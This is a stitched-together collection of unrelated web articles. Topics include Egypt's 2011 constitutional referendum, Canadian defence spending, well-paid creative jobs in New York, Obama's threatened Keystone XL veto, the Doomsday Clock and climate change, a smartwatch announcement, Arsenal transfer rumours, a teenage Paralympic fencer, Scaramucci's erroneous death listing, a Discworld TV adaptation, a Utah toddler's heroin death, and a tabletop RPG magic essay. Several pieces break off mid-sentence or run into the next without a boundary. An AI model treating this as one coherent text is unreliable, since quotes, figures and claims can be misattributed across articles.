"Regardless of the outcome, this election will turn a new page in Egypt's history," said Nabil Abdel Fattah, a political analyst.
The proposed amendments include new term limits on the presidency, restrictions on the ability of the government to maintain emergency law, and heightened judicial supervision of elections. If they pass, Egypt will elect a new parliament and president within the next six months.
Critics believe the amendments do not go far enough and that a new constitution should be written from scratch. They accuse the armed forces of rushing the process of transition to benefit conservative political forces that are already well organised, such as the Muslim Brotherhood and the remnants of Mubarak's NDP party, leaving radical new youth movements that emerged from the revolution out in the cold.
Sixteen political parties and coalitions have called for a no vote, alongside several leading intellectuals and political heavyweights, including the secretary-general of the Arab League, Amr Moussa, and the former director general of the International Atomic Energy Agency, Mohamed ElBaradei. "Keeping Mubarak's constitution, even temporarily, is an insult to the revolution," said ElBaradei, who, like Moussa, is expected to run for president. "Voting yes in the referendum resuscitates Mubarak's constitution and will result in a flawed parliament."
ElBaradei's stance has been backed by a wide spectrum of senior lawyers and cultural icons, from the country's first female judge to bestselling novelist Alaa al Aswany. Many of them fear that a yes vote will legitimise the army's much-criticised path of transition and offer only cosmetic changes to the system built up under 30 years of Mubarak's rule, potentially allowing elements of the old regime to re-entrench themselves. Some claim that by endorsing an amended version of the 1971 constitution, Egyptians will be "legalising dictatorship", as the document concentrates power strongly in the hands of the presidency and offers few checks and balances within a top-down political system.
That message appears to be getting through to the 45 million eligible voters; a recent government-commissioned opinion poll suggests that 59% are poised to reject the reform package. Such an outcome would be a surprising rebuke to a military establishment unaccustomed to public hostility, but according to Amr Hamzawy, a professor of political science at Cairo University, widespread scepticism at the military's model of transition is understandable.
"These amendments reflect the sort of debate that was going on over the past few years about how best to push Egypt towards a political opening," he said. "But after the revolution it's no longer a question of how to find a small political opening, it's a question of how to create a completely new system, and therefore this package does not live up to the people's expectations."
The Muslim Brotherhood, Egypt's largest organised movement, is campaigning for a yes vote, as are some Salafist groups and the new incarnation of Mubarak's NDP. Although some have portrayed the referendum as a battle pitting secularists against Islamists and young revolutionaries against the political old guard, the reality is more complex.
The issue has driven a wedge between activists who led the occupation of Tahrir Square, with some arguing that passing the amendments and holding quick elections is the best way of swiftly pushing the military out of the political arena and forming a civilian government that can tackle the many social and economic demands – like improved rights for women and a higher minimum wage – that, beyond the fall of Mubarak, lay at the heart of the revolution.
"What we're seeing now is a major split within the revolution," Alaa Abd el Fattah, a prominent leftist activist and supporter of the yes vote, said. "There is a socio-economic class divide at work here. At a certain point after Mubarak stepped down, a middle class discourse began to dominate, one that cast the ongoing struggle by workers and other groups for their rights as narrow and self-interested and not part of the revolution.
"Now they say the revolution is being stolen through this referendum. Which part of the revolution is being stolen? A new constitution, from my perspective, was never on the agenda, but reform of public institutions and the implementation of social and economic demands were much more of a core part of what we were fighting for. If you claim to care about workers' rights then you need a parliament now that can legislate to provide those rights."
The referendum comes on the back of a tumultuous fortnight in Egypt, which saw several outbreaks of sectarian violence, the ransacking and then dismantling of the country's hated state security apparatus, and a tense standoff between pro-change protesters and soldiers that ended in many activists being forcefully cleared from Tahrir Square and taken into detention, where rights groups say they are being tortured.
Numerous demonstrators have given public accounts of being arrested and held inside the Egyptian Museum, where they were beaten and electrocuted by military officers. "There can be no break from the abuses of the past while security forces – including military personnel– abuse people with impunity," said Joe Stork, deputy Middle East and north Africa director at Human |
. are the only two countries in close proximity and whether we have 65 jet fighters (Stephen Harper’s plan) or 88 (Freeland’s plan) will make absolutely not one iota of difference. With respect to the Arctic, where there are conflicting interests, it is obvious to all parties that negotiation is the only possible strategy.
But, of course, it’s not about defence. It’s about war. If we look at the planned spending it seems clear that we are gearing up for more Western adventurism, using NATO to prop up a failing finance capitalism by military threats. Freeland stated: “Canadian diplomacy and development sometimes requires the backing of hard power.” She has a duty to explain exactly what that means in the areas she listed as the focus of hard power: North Korea, the civil war in Syria, the Islamic State, Russian aggression in Ukraine and the Baltic states. Freeland’s stated goal of “peace and stability” will not benefit in any way from an additional $14 billion in war materiel.
It’s hard to say which is the most outrageous aspect of this budgetary coup by the foreign affairs and defence bureaucracies. The transparent rationalization for the spending is simply shocking. Equally disturbing is the complete lack of a mandate for such an increase: it was never mentioned in the election and erases the Liberal election commitment to peacekeeping, it doubles down on Harper’s aggressive foreign policy, and was done without consultation with Canadians.
There will be blowback to this military build-up. Young people played a major role in electing Sunny Ways Trudeau. They might want to ask how it is Mr. Trudeau can find billions more for war fighting but nothing for reducing the crushing weight of tuition fees. They have the political clout and passion to put him on notice that this is a dealbreaker. Let’s hope they use it.
Murray Dobbin has been a journalist, broadcaster, author and social activist for 40 years. He writes rabble’s State of the Nation column.Creative jobs often get a bad rap, pegged as emotionally fulfilling but not especially well-paying. Some people even claim that there isn’t much need for creative jobs in a data-driven world. And while some of this is true, there are still places in the U.S. where creative jobs are crucial to the economy.
One such unsurprising place is New York City, where according to nycfuture.org, the creative economy has actually outpaced more traditional sectors like finance and insurance. If you’re thinking about taking your creative skillset to the Big Apple, consider one of these creative jobs that will pay you over $60,000 per year.
Media and Communication Workers – Median Pay of $92,000
If you’re working in the media, you already know this kind of job requires being on your toes, ready to react to the latest news. Even those in corporate communications tend to work in fast-paced environments. If this is your niche, you should be able to live comfortably with a median salary of over $90,000 per year.
Do You Know What You're Worth? GET A FREE PAY REPORT
Art Directors – Median Pay of $91,000
Art Directors are the final and deciding say when it comes to approving visual concepts for a company. This can be in the form of print, digital, and even broadcast media. Art Directors are directly responsible for the success of an ad campaign or promotion. It’s no wonder they too earn a median salary of over $90,000 per year.
Advertising and Promotions Managers – Median Pay of $89,000
As you might expect, the main responsibility of Advertising Managers is to manage all the advertising activities for their company or client. Accordingly, Promotions Managers manage all the promotional (non-advertising) activities for their company or client. In either of these jobs, the perfect candidate will have a background in strategic marketing and marketing communications.
Producers and Directors – Median Pay of $70,000
Whether you’re directing or producing videos, you can earn a decent salary in NYC. Most people in this type of job role have less than 20 years experience under their belt. Producers and Directors should have a solid understanding of and experience with budgeting, project management, and production management.
Fabric and Apparel Patternmakers – Median Pay of $69,000
Most Fabric and Apparel Patternmakers in the U.S. don’t have more than 10 years of work experience. That being said, a salary of $69,000 a year is not too bad when you consider that you don’t necessarily need a college degree to get into this type of business. Workers in this job role typically move up to become Technical Apparel Designers.
Multimedia Artists and Animators – Median Pay of $61,000
Quite possibly the most fun job titles on this list, Multimedia Artists and Animators are tasked with creating visually captivating cartoons, motion pictures, and other entertaining digital media. Most of the work done by people in this job role is done solo, so workers should be comfortable with working alone. A Bachelor’s Degree is usually required for this type of job.
Methodology
PayScale created this report based on top-paying titles in a specific region. These lists are filtered by relative commonness to focus on jobs that are not only well-paying, but also unique to the region. This was done to remove obviously high-paying jobs that are found everywhere (e.g. general doctors, lawyers, etc.). Median pay is the national median (50th Percentile) annual total cash compensation.
Tell Us What You Think!
Is there a high-paying creative job in NYC we missed? We want to hear from you! Comment below or join the discussion on Twitter!Pipes for the Keystone XL project sit in storage in Gascoyne, North Dakota. (Reuters/Andrew Cullen)
The White House said Tuesday that President Obama would veto a bill to approve the Keystone XL pipeline on the grounds that the legislation would interfere with the "well-established" executive process for reviewing the pipeline. If he has occasion to carry out his threat, the veto would be only the third of his presidency, as Democrats in Congress have been able to block bills he has opposed until now. That is fewer than any other president in the 20th century. Presidents Roosevelt, Truman and Eisenhower each vetoed bills in the triple digits.
At the end of his first year in office, Congress passed a temporary funding measure for the Pentagon along with a regular appropriations bill. Obama signed the regular bill, making the stopgap unnecessary, so he vetoed it.
He killed a second bill the following year, this one dealing with mortgages. The proposal would have required states to recognize notarizations of documents from other states. After Congress passed the bill without fanfare, several major banks were accused of forging documents in order to foreclose on homeowners more easily. Advocates for consumers persuaded the White House that the legislation would have made it easier for banks to evade rules designed to protect borrowers.
Unlike interstate notarizations and defense stopgaps, the Keystone XL pipeline is widely popular, so this would be Obama's first veto involving any political risk. But it probably wouldn't be his last, either.
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What's in Wonkbook: 1) Obama threatens Keystone veto 2) Opinions, including Chris Hayes on Steve Scalise 3) Boehner retained as speaker 4) Dynamic scoring enacted 5) Economists get in touch with the real world, and more
Number of the day: Six. That's about how many Americans die of an alcohol overdose each day, according to the Centers for Disease Control and Prevention. Sabrina Tavernise in The New York Times.
Chart of the day:
Rep. Paul Ryan (R-Wis.) was wrong when he warned the Federal Reserve was debasing the dollar. It's on a tear, relative to other currencies. Matt O'Brien in The Washington Post.
1. Top story: Obama threatens to veto Keystone bill
The White House says the veto is about following standard procedures. A spokesman argued that the State Department, which has already completed an environmental review, must wait for the Nebraska Supreme Court to issue a ruling on the siting of the pipeline before making a decision. Laura Barron-Lopez in The Hill.
But supporters of the pipeline aren't giving up. The bill has 63 likely votes in the new Senate, and even if proponents can't override a presidential veto, they'll try to insert the provision into another bill later this year. Juliet Eilperin in The Washington Post.
The veto would have "political complications." "Republicans are already pointing to the threat as more evidence of their narrative that he’s a dictatorial president who refuses to listen, even on an issue that has enormous support in public opinion polls." And Obama will likely want to veto more bills in the next two years, now that Republicans control Congress. Edward-Isaac Dovere and Burgess Everett in Politico.
How many jobs would the project actually create? More than 10,000 construction workers would be employed for a few months each. Including manufacturing the components for the pipeline, the project would employ 16,000 people directly for a year (although some of that work has already been completed). Glenn Kessler in The Washington Post.
Old-school gaming interlude: You can now play dozens of classic MS-DOS games for free online, notably Oregon Trail and the original Sim City. Matthew Yglesias at Vox.
2. Top opinions
HAYES: The House's new majority whip is a reminder of Republicans' ugly recent history. Rep. Steve Scalise (R-La.) once spoke at a conference held by notorious white supremacist David Duke, who pushed welfare reform and affirmative action into the G.O.P. mainstream. MSNBC.
SARGENT: Overtime pay could further divide populist Democrats from Obama. Employers are required by law to offer overtime pay for workers who make less than a certain amount each week, but as with the minimum wage, that protection has become less meaningful with time due to inflation. The administration must decide by how much to increase the threshold. The Washington Post.
A stronger dollar carries economic risks. The dollar's appreciation is a sign that international investors are betting on the U.S. economy and is helping consumers save money on gasoline. Yet as the dollar gains in value, emerging markets overseas are in danger, as are energy companies here in the United States. More coordination among central bankers around the world would at least create stability. The Wall Street Journal.
McLARTY: Democrats must vote for a trade deal. Labor unions have typically opposed free trade, but the Trans-Pacific Partnership would help exporting firms, allowing them to employ more people at middle-class wages. And protectionism can't protect the U.S. economy from globalization. The Wall Street Journal.
EDSALL: The Colorado senate race showed how Republicans can move past the tea party. Cory Gardner, now a G.O.P. senator, won by thoroughly abandoning his more controversial positions, especially on reproductive rights and immigration. The New York Times.
3. Boehner beats defectors
Two dozen Republicans voted against Boehner for speaker. "It was the largest rebellion by a party against its incumbent speaker since the Civil War." Robert Costa, David A. Fahrenthold and Sean Sullivan in The Washington Post.
KLEIN: Boehner is the speaker Republicans need. Many bills he's supported has failed, and he's often looked incapable of advancing productive legislation. Still, he's managed to stymie Obama's agenda. His party controls the largest majority in the House in decades. Most of all, he's stayed in power, despite his fractious caucus. Vox.
BALZ: The defection bodes ill for any moderate G.O.P. presidential candidate. A "prominent dissent" from Steve King, an Iowa congressman, is a reminder of the political pitfalls for Republicans seek to establish their appeal among primary activists in crucial primary states. The Washington Post.
4. Dynamic scoring becomes reality
Budget scorers will now have to consider macroeconomic effects of major bills. The change might make it easier for Republicans to pass a tax reform bill, since they believe that their policies would improve the economy overall and produce more revenue than current official estimates show. Opponents of the change say macroeconomic estimates of this kind are uncertain, unreliable and easily influenced by ideological assumptions. The rule change was approved along party lines, and does not apply to spending on education and infrastructure, Democrats' preferred forms of fiscal stimulus. Jonathan Weisman in The New York Times.
LAZEAR: The current method isn't neutral -- it ignores the larger economy. To keep scorers honest, they should be required to make their model public and to use the same one for all bills they analyze. The Wall Street Journal.
VAN HOLLEN & SLAUGHTER: Kansas should be a cautionary tale for Republicans. State officials there predicted major tax cuts would improve the economy and balance the budget, but they were catastrophically wrong. Accurate predictions about the economy are difficult, which is why many conservatives oppose dynamic scoring. Politico.
Panda interlude: Bao Bao, a 16-month-old cub, plays in the snow Tuesday at the National Zoo.
5. In case you missed it
Obama has nominated a former head of the Bank of Hawaii to the Federal Reserve. The choice of Allan R. Landon follows lobbying from community banks seeking greater representation in monetary policymaking and financial regulation. Martin Crutsinger for the Associated Press.
A NASA telescope has found several more Earth-like planets. One of them, Kepler 438b, is likely more similar to our own than any other planet yet discovered, with a rocky surface and the right temperature for liquid water. That doesn't mean humans could easily live there, even if we could travel the 470 light-years to get there -- the average temperature could be about 140 degrees Fahrenheit. Ian Sample in the Guardian.
Economists are reconnecting with the real world. That was the atmosphere at the discipline's major annual conference, where more papers than usual discussed public policy. Ben Casselman and Andrew Flowers at Five Thirty Eight.In the past month US President Barack Obama has focused the world’s attention on two threats that may not, at first glance, appear to have much in common. On June 19th he spoke at Berlin’s Brandenburg Gate, delivering a major statement about nuclear weapons policy. A week later he was at Georgetown University, where he made a long-awaited speech on climate change.
What do these have to do with each other? A single nuclear warhead can kill thousands of people in an instant. Climate change is causing damage much more slowly, and to the naked eye, it’s hard to see the link between greenhouse gases and rising sea levels, extreme weather events, and shrinking food supplies. But despite the differences, nuclear weapons and climate change have a great deal in common. That is why the Bulletin of the Atomic Scientists, which created the Doomsday Clock in 1947 to graphically represent how close humans are to self-destruction, decided six years ago to include climate scientists in its deliberations on where to set the minute hand. It was a controversial decision at the time, one we are still called on sometimes to justify.
Man-made problems.First of all, both threats are of humans’ own making. The atomic bomb was invented by the Allies during World War II out of fear that Nazi Germany might develop one first. The fission process was well known in scientific circles by the early 1940s, and it was only a matter of time before someone would figure out how to use nuclear energy for a bomb. However, scientific knowledge ran ahead of the ability to prevent arms races and securely manage this most dangerous technology. By 1986, the Soviet Union and the United States together possessed nearly 70,000 nuclear bombs — enough to destroy the world and its inhabitants many times over. Even more alarmingly, the Soviets and Americans followed deployment rules that required nuclear-armed missiles to be launched in a matter of minutes without warning the other side.
Scientific knowledge about the effects of carbon dioxide and methane emissions on the Earth’s atmosphere began to accumulate in the 1950s. The coal, gas, and oil-fired machines that have powered massive economic growth emit these gases, while at the same time humans are destroying forests that absorb carbon dioxide. Together these phenomena have combined to warm the Earth’s atmosphere. This warming is bringing about such vast changes to our agricultural yields, fisheries, and habitats that we may not be able to adapt fast enough as a species to survive. Despite the warnings of science, we seem unable, so far, to adopt new technologies and fuels that would reduce the harm we’re bringing upon ourselves.
Dangerous complacency. Second, neither nuclear weapons nor climate change are treated with appropriate sustained concern. In his Berlin speech, President Obama observed that “there can, at times, be a complacency among our Western democracies” about both threats.
When it comes to nuclear weapons, complacency is the child of secrecy and ignorance. The number of warheads a country has and the military’s plans to use them are state secrets, and theories of deterrence that provide a rationale for their use are cloaked in technical jargon that induces boredom in most people. As a result, nuclear weapons policy discussion takes place beyond the public eye and outside of the democratic decision-making process.
In contrast, there is nothing secret about climate change. Scientists have been observing, documenting, and speaking about changes to the atmosphere and oceans brought about by carbon dioxide and methane emissions for at least half a century. But the dangerous effects of changes in the Earth’s temperature are felt slowly, and often only as the cycles of extreme weather become part of our common experience. With each hurricane, violent storm, drought, or massive wildfire, the public’s awareness of the effects of global warming rises, only to subside into complacency once the immediate danger has passed.
Acting together.Third, both of these threats to human society require a cooperative response by governments. “Our shared past shows that none of these challenges can be met unless we see ourselves as part of something bigger than our own experience,” Obama said in Berlin.
Because no country is safe from destruction by nuclear bombs, every country that possesses them has some incentive to dismantle them. Overcoming the perceived need to hang on to them for political advantage, though, will be an enormous challenge. A world free of nuclear weapons can only be achieved by simultaneous and cooperative action.
Cooperation will also be required to cut greenhouse gas emissions. Robust economic incentives for companies to do so — either by modifying technology or finding alternative fuels — do not currently exist. Market forces work well to distribute goods and services efficiently, but they are not working as well to shift industry to new energy technologies. The challenge here is that countries do not want to lose out economically in the short run by cutting emissions first. For the common good of protecting our planetary home, governments and firms need to act collectively.
The Bulletin and the Doomsday Clock. In 1945 the scientists who created the atomic bomb launched the Bulletin of the Atomic Scientists to warn the public of this terrifying new man-made threat; two years later the Bulletin created the Doomsday Clock, a simple design portraying the last quadrant of an abstract clock with its minute hand nearing midnight. When it is warranted, Bulletin experts reset the Clock based on an assessment of the threats to humanity from nuclear and other Earth-threatening technologies.
In 2007, the Bulletin invited climate scientists to join the discussions. Like the early nuclear physicists, these scientists understand the threats to humanity from our own inventions. Without the horror of explosions and instant mass death, the dire consequences of climate change are not as easy to detect as those of nuclear weapons. But if we are to have any chance of slowing the rate of calamitous change, then we have to act now.
When the Bulletin moved the Clock’s minute hand from seven to three minutes to midnight in 1949, after the Soviet Union tested its first atomic bomb, the United States possessed 170 bombs and the Soviet Union just one (not including the one it tested). Long-range missiles to carry miniaturized nuclear weapons across the Atlantic had not yet been developed, and the possibility of a nuclear Armageddon was still several years away. The world was not about to blow up. But the ticking Clock alerted the public to the prospect of an arms race between the United States and the Soviet Union if political leaders did not reduce tensions and stop the production of nuclear weapons. Without international agreements to prevent the use of these weapons, the scientists warned, the world would be doomed.
Today, climate scientists are in a position similar to that of the early atomic scientists. Just as the Manhattan Project participants could foresee the coming arms race, climate scientists today understand the consequences of deploying the technologies that defined the industrial age. They also know that action now to reduce greenhouse gas emissions will mitigate the worst consequences of climate change, just as the Manhattan Project scientists knew that early action to forestall a deadly arms race could prevent nuclear catastrophe. In both cases, the Clock represents a judgment about the capabilities of the world’s governments, civic leaders, and citizens to tackle the catastrophic global consequences of human inventions.
Whether societies develop the means to control dangerous technologies before they destroy our way of life remains to be seen. It is clear, however, that if the complacency about global threats that Obama recently noted continues, our chances of surviving diminish. From the beginning, the Doomsday Clock has drawn attention to the dangers we face not only from our inventions, but from ignorance and short-term thinking. We ignore it at our peril.We've been seeing a lot of smartphones coming out of China in the past couple of years, and that number just keeps on growing. China is home to many smartphone OEMs, some of them you're more than familiar with, others, not so much. Oukitel probably belongs in the second category, but the company is trying to change that. Oukitel is located in Shenzen, China, and not only will they release a really compelling smartphone soon, but a smartwatch as well. We do have some info regarding this smartwatch, so if you're interested, read on.
The Oukitel A28 is company's upcoming smartwatch offering which will be available with both Android and iOS devices. The watch will be made out of aluminum, and will ship with a leather band. Two colors will be available, gold and silver, and a 250mAh battery will be available on the inside. This battery unit will be able to keep the watch running for 100 hours on standby, we still don't know how will it fare on average while using the screen though. The watch will feature a 1.54-inch IPS display 240 x 240 in resolution. MediaTek's MT2502A will fuel this watch, and Bluetooth 4.0 is also a part of this package. The Oukitel A28 will measure 48 x 40 x 12.3mm and will be water resistant. The watch will also have a number of fitness functions, and sleep tracking will also be one of its functions.
If you take a look at the gallery down below, you'll notice there are quite a few Oukitel A28 images available in there. These are very nice shots which will give you a better idea what this watch looks like, and what can you expect once it's released. Looking at the bottom of this smartwatch, you'll see the pogo pins, and what seems to be a heart rate monitor next to it. The only physical button on this watch is located on the right-hand side, which is the power / lock button, of course. This smartwatch will be available for purchase by the end of this month, but we still don't know how much will it cost once released. What we do know, is that it will be available pretty much everywhere thank to a number of Oukitel partners which ship products all over the world.Telegraph Sport revealed in April that Arsene Wenger had asked for regular scouting reports on Giroud and that interest had been firmed up with some informal dialogue with the newly crowned champions of France's Ligue 1.
Sources in France have suggested that Arsenal would be prepared to offer Marouane Chamakh and £6.5 million for Giroud, although it is understood that no firm offer has gone in.
The £11.9 million signing of Germany striker Lukas Podolski has already been confirmed and Arsenal intend to keep Robin van Persie, despite his current failure to sign a new contract, but Wenger is still also hoping to recruit at least one other forward this summer.
Blackburn’s Junior Hoilett and Fulhm’s Clint Dempsey are other players on his radar but Wenger instructed Giles Grimandi, his chief scout in France, to carefully monitor Giroud over the last few months.
At 6ft 3ins tall and around 14 stone, Giroud would certainly provide a powerful physical presence and a different sort of option to Van Persie. The 25 year-old was central to Montpellier’s unexpected success in winning the French league, scoring 21 goals. Giroud scored his first international goal in the 2-1 win over Germany at the end of February and is in the France squad that is in the same group as England at Euro 2012.
Giroud, himself, has said that he loves the "French feel at Arsenal but there is a feeling in France that Montpellier will push to keep him for another season, especially as they have qualified directly into the Champions League phase. Bayern Munich are also interested in Giroud and have held talks with the 25-year-old’s agent.
The recruitment of new strikers at Arsenal is also likely to depend on what happens this summer with Van Persie, Chamakh, Nicklas Bendtner, Carlos Vela and Ju-Young Park.
Vela and Bendtner have finished loan spells at Real Sociedad and Sunderland respectively, while Chamakh and Park were conspicuous last season by their collective lack of impact in support of Van Persie. Between them, they scored just two goals.However, among the repeat viewings of television show The Only Way Is Essex and day-trips with her friends, another obligation is looming large.
As a wheelchair fencer Down will be the youngest member of the British Paralympic squad and one of the least experienced athletes anywhere at the Games, with less than two years of fighting to her name.
Her bouts in the women’s team épée event against fencers more than twice her age will be played out in front of thousands of fans at the ExCeL Centre, and millions more watching on television.
They are slated for Sept 7, when most of her friends will be reacquainting themselves with their classrooms. Yet ask her if she is fazed, and all you get is a nonchalant shake of the head.
“I don’t think age matters because when I am competing, I’m still as strong as the other people,” she insists. “When I’m with my friends I still act like a 14 year-old, because I’m still a child. But when I am away with fencing I am more mature because I’m with older people. I know when I have to act a bit more grown up.”
Down shudders when asked how she plans to fit in her GCSEs with her gruelling training regime – “I know I will have to work very hard to keep everything under control,” she admits ruefully – but she is well used to fighting the odds.
Down, who trains at Touché Fencing Club in Towcester, was born with skeletal dysplasia, a condition which means that her bones are not properly formed.
She was also born with two toes on her right leg, which had to be amputated when she was two, while more recent problems with her knees could mean more surgery after the Games.
Yet there is no hint of fear in Down’s voice as she contemplates life beyond London 2012. She is already planning to become a PE teacher after completing her studies, although success at the Games could make her reconsider.
“I just want to go there and be proud of what I did – knowing that I performed the absolute best I could and made my country proud,” she said.
“I have been to the Olympic Park and the noise was incredible. I cannot wait to get out there.”Leaks, threats and insults. And it lasted less than two weeks. Here's a look back at the very short tenure of the former White House communications director, Anthony Scaramucci. (Victoria Walker,Claritza Jimenez/The Washington Post)
Pity poor Anthony Scaramucci: reportedly getting divorced, sacked from his job after a mere 10 days — and now there’s an erroneous report that he’s dead.
The blink-and-you-missed-him former White House communications director is listed as deceased in the new Harvard Law School alumni directory, which arrived in alums’ mailboxes the very week that “The Mooch” became the most talked-about guy in politics. An asterisk by the 1989 graduate’s name indicates that he was reported dead since the last directory, which was published in 2011.
It’s unclear whether he was the victim of a prank — or just a typo. Harvard Law didn’t say, but the school was apparently crimson-faced over the flub. “Regrettably, there is an error in the Harvard Law School alumni directory in the listing for Anthony Scaramucci,” a spokeswoman told us in an emailed statement. “We offer our sincere apologies to Mr. Scaramucci. The error will be corrected in subsequent editions.”
Scaramucci did not immediately respond to a call seeking comment, but in fairness, his Monday afternoon had been a tad eventful.
He might be dead to Harvard Law, but in his oh-so-brief tenure as President Trump’s top spokesman, Scaramucci, 53, had often name-dropped the prestigious school. He told CNN’s Jake Tapper he wouldn’t have attended the now-infamous meeting with Russians claiming to have dirt on Hillary Clinton because of his law degree. Later in the same interview, he boasted about getting an A-minus in Harvard Law professor Laurence Tribe’s constitutional law class.The Watch Genre Fantasy
Police procedural Written by Simon Allen[1] Country of origin United Kingdom / United States Original language(s) English No. of seasons One ordered No. of episodes Eight ordered Production Running time 60 minutes Production company(s) Narrativia Release Original network BBC America
The Watch is a fantasy police procedural television series under development by BBC America, which ordered an eight-part season in October 2018. The series is to be based on the stories about the Ankh-Morpork City Watch from the Discworld series of fantasy novels by Terry Pratchett.
Development [ edit ]
Early plans [ edit ]
The Watch was announced in 2011 as under development by Prime Focus Productions, which previously created three two-part television adaptations of Discworld novels.[2] It was later reported to be produced by Pratchett's own TV production company, Narrativia, which he founded in 2012 and which was led by Rod Brown, the erstwhile head of Prime Focus.[3]
In 2012, the series was variously reported to be written – under Pratchett's oversight – by either Terry Jones and Gavin Scott[3] or by Guy Burt,[4] and to have a budget of either £13 to £15 million[3] or £26 million[4] for its projected run of thirteen 60-minutes episodes, with Pratchett's daughter Rhianna as co-writer.[5]
In September 2014, Pratchett's agent Colin Smythe said that the script was in development and shooting would commence in 2015.[6] After Pratchett's death in 2015, his assistant Rob Wilkins said that pre-production was still ongoing, but that no further announcements would be made until filming had begun.[7] In October 2016, Rhianna Pratchett said in an interview that the project was still ongoing.[8]
BBC series [ edit ]
In March 2018, Deadline Hollywood reported that BBC Studios was developing The Watch as a six-part series and as the basis of a "returnable franchise".[9] On October 30, 2018, BBC America announced that it ordered an eight-episode series of The Watch written by Simon Allen.[10][11] Hilary Simon and Phil Collinson will be executive producers.[12][13]
Setting and plot [ edit ]
Set in the fictional Discworld's principal city of Ankh-Morpork, The Watch was described by Terry Pratchett as a "Pratchett-style CSI"[14] and by Narrativia as a "punk rock thriller".[1] It is to have an episodic storyline, following the format of a "crime of the week" as tackled by the city's police force under the command of Sam Vimes.[2]SALT LAKE CITY -- Police arrested two parents in Utah on suspicion of child endangerment after their one-year-old daughter died from ingesting enough heroin to kill an adult.
Casey Cormani, 31, and Cassandra Richards, 32, were arrested Tuesday after a toxicology report showed Penny Cormani died Dec. 2 from a heroin overdose, Provo police Officer Nisha King said Wednesday.
Cassandra Richards. CBS affiliate KUTV
Provo detectives said there was sufficient evidence to establish probable cause that the parents were responsible for the death of their child, CBS affiliate KUTV reported.
King did not have further details on how the child ingested the drug.
Casey Cormani. CBS affiliate KUTV
Since the child's death late last year, police have been reviewing evidence and interviewing witnesses until feeling ready to make the arrests, King said.
Richards and Cormani were being held in the Utah County Jail on $25,000 bond each, Utah County Sheriff's Sgt. Spencer Cannon said. They have not yet been formally charged.
In search warrants, police said Richards reported finding the child unresponsive after putting her down for a nap. She called 911 and paramedics took the child to a hospital, where she was pronounced dead.
King did not know if the couple had other children.
Police said in court documents they found "burnt foil with residue and straws with burnt ends and residue" -- often signs that heroin has been smoked -- at a house where the girl's parents were staying.
The parents denied the paraphernalia was theirs, according to search warrants.
The parents and homeowners have histories of drug use, according to court documents.
The Utah County Attorney's Office did not return a message Wednesday seeking further details.
Attorneys who represented the parents in past drug-related cases did not return messages seeking comment. It was unclear if the couple has new lawyers.Nineteen state attorneys general, including the one for Washington, D.C., are calling on Congress to block President Trump from implementing a ban on transgender troops.
Specifically, they want the leaders of the Senate and House Armed Services committees to include language in the annual defense policy bill to prohibit discrimination against transgender troops and affirm that transgender Americans cannot be banned from serving.
“The policy announced by President Trump's tweet undermines the national security goal of giving every able American who wants to serve in the military the opportunity to serve, creates untold bureaucratic and legal cost and complexities in implementation, and would put in place a policy that violates fundamental constitutional and American values,” they wrote in a letter to the chairmen and ranking members of the committees dated Thursday.
The House has already passed its version of the National Defense Authorization Act (NDAA). But the Senate has yet to take up its version, and an amendment could be added on the floor to address the transgender issue.
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On Wednesday, Trump announced on Twitter that he would ban transgender people from serving in the military.
A day later, Chairman of the Joint Chiefs of Staff Gen. Joseph Dunford advised the military that the Pentagon will not take any action until Trump sends over an official directive.
Transgender troops have been able to serve openly since the Obama administration lifted the ban in summer 2016.
In their letter, the attorneys general, led by Hawaii, argue Trump’s policy change reopened an issue that was already settled.
They highlighted Defense Secretary James Mattis’s pledge during his confirmation hearing not to reverse the transgender policy, as well as his opposition to a House effort to ban Pentagon funding for transition-related medical care.
They also noted Senate Armed Services Chairman John McCain John Sidney McCainGOP lobbyists worry Trump lags in K Street fundraising Mark Kelly kicks off Senate bid: ‘A mission to lift up hardworking Arizonans’ Gabbard hits back at Meghan McCain after fight over Assad MORE’s (R-Ariz.) own statement that “there is no reason to force service members who are able to fight, train, and deploy to leave the military — regardless of their gender identity.”
Trump’s claims that medical costs are too high and open transgender service too disruptive have already been rejected by leading organizations such as the Rand Corporation, they added.
“The decision to oust honorable, well-trained, and patriotic service members based on nothing more than their gender identity is undiluted discrimination and therefore indefensible,” they wrote. “We urge that this newly announced policy be immediately reversed.”
The letter was signed by attorneys general from Hawaii, New York, California, Connecticut, Delaware, Illinois, Iowa, Maine, Maryland, Massachusetts, Minnesota, New Mexico, Oregon, Pennsylvania, Rhode Island, Vermont, Virginia, Washington state and D.C.Ready to fight back? Sign up for Take Action Now and get three actions in your inbox every week. You will receive occasional promotional offers for programs that support The Nation’s journalism. You can read our Privacy Policy here. Sign up for Take Action Now and get three actions in your inbox every week.
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“In its way [Arthur Szyk’s work] fights the war against Hitlerism as truly as any of us who cannot actually be on the fighting fronts today.”
—First lady Eleanor Roosevelt, My Day column, January 8, 1943 Ad Policy
Seventy-five years ago this January, President Franklin Roosevelt stood before Congress to deliver his eighth State of the Union address. Nearly a year before America’s entry into World War II, Roosevelt explained to the American people his decision to supply arms and material to the Allied war effort against the expansionist Axis powers. The president well knew that the American public, still recovering from the devastation of the Great Depression and the Great War before it, had no appetite for a “foreign” war. Building on his fireside chat |
overflowing with magic, there have to be some limits on a spellcaster’s power. If you treat casting spells as more or less a normal activity, every activity has some limits, right?
If you’re a fighter, how long can you swing a sword before you’re exhausted? If you’re a scholar, how long can you sit in a library reading ancient scrolls to discover forgotten knowledge before your eyes and brain stop working? You have to rest from time to time. A thief? Ranger? Cleric? The same.
No matter your RPG system, your spellcaster will need to “fuel” his or her magic in some way. Perhaps it’s through physical strength and stamina. Maybe it’s strictly brain power. Or maybe it’s all about the spell components. Whatever it is, it has to be limited. Renewable, but limited. And when they reach that limit, a spellcaster’s ability to craft magic should be significantly decreased. The good thing is this works for all spellcasters whether friends or foes.
Players may complain that placing such limits on their power will spoil their fun. “My wizard will need his power back before the final battle!” True. So if you want power for that epic battle? Try to conserve energy and use a torch instead of casting a magical light! It’s pretty easy.
For example, there was a necromancer on the team in one of my games. I never saw him use magic during the campaign, but in the final battle he raised hundreds of undead from a cemetery to help his team win. Epic! Did the player running the necromancer have fun? Huge fun! Of course there was a cost for such power after the battle… The necromancer was unconscious for the next three weeks. It costs to wield such power. Wield too much and it may even kill the character.
Limiting your spellcaster’s tendency to use his powers can do a lot of good for your game. Especially if you love a narrative storytelling approach like I do. Why?
